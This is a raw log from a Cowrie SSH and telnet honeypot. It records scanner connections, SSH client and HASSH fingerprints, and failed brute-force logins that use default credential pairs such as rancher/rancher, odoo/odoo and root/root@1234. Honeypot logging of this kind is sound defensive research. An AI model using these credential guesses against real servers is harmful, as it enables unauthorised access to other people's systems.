{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:b8:c1:75:c4:8c:5f:26:ed:8b:63:bc:fa:f0:2d:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSXhbojrntFBekrVOrNdFX5Vx55jolsM17xggnGsNa6jj5KS3hsqff+S3RJLu/Va0xXCc7q5JOrzRFKQWYx3+peM/TGTE2qmHL+16TShd3gNFMuS2U8UoqbdzHs6Lqzu0GIb6G9eOGpxKRV9YxtFvFGZdrvM346ZOioPE5FLRB5sUkPLAQo+7DGUFPrO1gUgvXUq4Q3BRn1nCq6+YlAorlzB4ja8CIR90Kk5+2jojddLk0ERDR0FQ3nRbmhyRtxGpALJMbeSG3DFtHPgffR4Xl0ajdj/w0qd69bOKiTsmwQmwUF88P1qMC/C2y9exubasVPEk5LCAf2bVb/lFix0nb9jHo0QKoOsjGswJ3+K0W9UEIMzE1lkKtg33vPo3LS7vIL6yEOT2jcB2h/ULxV8xQU0lq707LEZkVK13ajDLzehdxYFTJYty0wskffLwOlZjZUfgVxhqUUi8/XQpgWigIGUvfuIN5WpPmwlHNynyBuv/tBPAuQe0O1/3ng+dcape2IYSlM/Gh+ZfqsPZKVUQvxsGLNLA1R/w/5bvR1YxN7gZ517cSMGIJ5HmBV7mZIsOOjv/31O5GSbLOMFUTvWzbe8XStkb5f+jyhq2va2FGtI4nQtL6rNetmyB8B/kJmLnPa0JUPZMd3lzfeFBFtRJPBea17WgC2L/Hqu90arAhww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:b8:c1:75:c4:8c:5f:26:ed:8b:63:bc:fa:f0:2d:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:30.340134Z","src_ip":"206.212.242.68","session":"feccff105731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:b8:c1:75:c4:8c:5f:26:ed:8b:63:bc:fa:f0:2d:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSXhbojrntFBekrVOrNdFX5Vx55jolsM17xggnGsNa6jj5KS3hsqff+S3RJLu/Va0xXCc7q5JOrzRFKQWYx3+peM/TGTE2qmHL+16TShd3gNFMuS2U8UoqbdzHs6Lqzu0GIb6G9eOGpxKRV9YxtFvFGZdrvM346ZOioPE5FLRB5sUkPLAQo+7DGUFPrO1gUgvXUq4Q3BRn1nCq6+YlAorlzB4ja8CIR90Kk5+2jojddLk0ERDR0FQ3nRbmhyRtxGpALJMbeSG3DFtHPgffR4Xl0ajdj/w0qd69bOKiTsmwQmwUF88P1qMC/C2y9exubasVPEk5LCAf2bVb/lFix0nb9jHo0QKoOsjGswJ3+K0W9UEIMzE1lkKtg33vPo3LS7vIL6yEOT2jcB2h/ULxV8xQU0lq707LEZkVK13ajDLzehdxYFTJYty0wskffLwOlZjZUfgVxhqUUi8/XQpgWigIGUvfuIN5WpPmwlHNynyBuv/tBPAuQe0O1/3ng+dcape2IYSlM/Gh+ZfqsPZKVUQvxsGLNLA1R/w/5bvR1YxN7gZ517cSMGIJ5HmBV7mZIsOOjv/31O5GSbLOMFUTvWzbe8XStkb5f+jyhq2va2FGtI4nQtL6rNetmyB8B/kJmLnPa0JUPZMd3lzfeFBFtRJPBea17WgC2L/Hqu90arAhww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:30.345144Z","src_ip":"206.212.242.68","session":"feccff105731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:30.358437Z","src_ip":"206.212.242.68","session":"feccff105731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:30.756557Z","src_ip":"45.156.87.204","session":"71b8e13c4114","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56528,"dst_ip":"159.203.135.109","dst_port":22,"session":"6320cf9a781b","protocol":"ssh","message":"New connection: 45.156.87.204:56528 (159.203.135.109:22) [session: 6320cf9a781b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:32.723565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:32.870725Z","src_ip":"45.156.87.204","session":"6320cf9a781b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:32.874148Z","src_ip":"45.156.87.204","session":"6320cf9a781b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.137","src_port":59398,"dst_ip":"10.17.0.5","dst_port":22,"session":"529a9249c128","protocol":"ssh","message":"New connection: 205.210.31.137:59398 (10.17.0.5:22) [session: 529a9249c128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:33.032945Z"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:33.220723Z","src_ip":"45.156.87.204","session":"6320cf9a781b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.98017954826355,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:33.234931Z","src_ip":"152.42.224.71","session":"9276ac7d3de7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":105.40662813186646,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:33.457025Z","src_ip":"152.42.224.71","session":"7f9da18f33e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":57914,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9e8dfebe55f","protocol":"ssh","message":"New connection: 47.237.167.49:57914 (159.203.135.109:22) [session: d9e8dfebe55f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:33.828488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:33.832964Z","src_ip":"47.237.167.49","session":"d9e8dfebe55f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:33.920092Z","src_ip":"205.210.31.137","session":"529a9249c128","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:34.306987Z","src_ip":"45.156.87.204","session":"6320cf9a781b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.277524948120117,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:34.600949Z","src_ip":"152.42.224.71","session":"e8e43709d0e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.28895282745361,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:34.620231Z","src_ip":"152.42.224.71","session":"c84ea4addb5d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:34.800181Z","src_ip":"47.237.167.49","session":"d9e8dfebe55f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:35.092849Z","src_ip":"205.210.31.137","session":"529a9249c128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56530,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a1f7439e434","protocol":"ssh","message":"New connection: 45.156.87.204:56530 (159.203.135.109:22) [session: 2a1f7439e434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:37.262265Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":56588,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e20b82f78d1","protocol":"ssh","message":"New connection: 147.45.199.80:56588 (10.17.0.5:22) [session: 8e20b82f78d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:37.265466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:37.269832Z","src_ip":"45.156.87.204","session":"2a1f7439e434","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:37.275730Z","src_ip":"147.45.199.80","session":"8e20b82f78d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:37.354471Z","src_ip":"45.156.87.204","session":"2a1f7439e434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:37.371296Z","src_ip":"147.45.199.80","session":"8e20b82f78d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:37.497993Z","src_ip":"47.237.167.49","session":"d9e8dfebe55f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:37.600451Z","src_ip":"45.156.87.204","session":"2a1f7439e434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"357753","message":"login attempt [root/357753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:37.656653Z","src_ip":"147.45.199.80","session":"8e20b82f78d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":100.68614482879639,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:40.758191Z","src_ip":"152.42.224.71","session":"e5942a23e800","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":40266,"dst_ip":"159.203.135.109","dst_port":22,"session":"61b608687db4","protocol":"ssh","message":"New connection: 83.111.76.195:40266 (159.203.135.109:22) [session: 61b608687db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:40.761518Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56532,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c1bdcae7f3b","protocol":"ssh","message":"New connection: 45.156.87.204:56532 (159.203.135.109:22) [session: 4c1bdcae7f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:40.764050Z"}
{"eventid":"cowrie.session.closed","duration":55.285287618637085,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:40.769981Z","src_ip":"152.42.224.71","session":"35b98965d41e","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:40.773971Z","src_ip":"83.111.76.195","session":"61b608687db4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:40.776432Z","src_ip":"45.156.87.204","session":"4c1bdcae7f3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:40.851272Z","src_ip":"45.156.87.204","session":"2a1f7439e434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:40.856842Z","src_ip":"45.156.87.204","session":"4c1bdcae7f3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:40.864276Z","src_ip":"147.45.199.80","session":"8e20b82f78d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:40.972750Z","src_ip":"83.111.76.195","session":"61b608687db4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:41.000285Z","src_ip":"47.237.167.49","session":"d9e8dfebe55f","protocol":"ssh"}
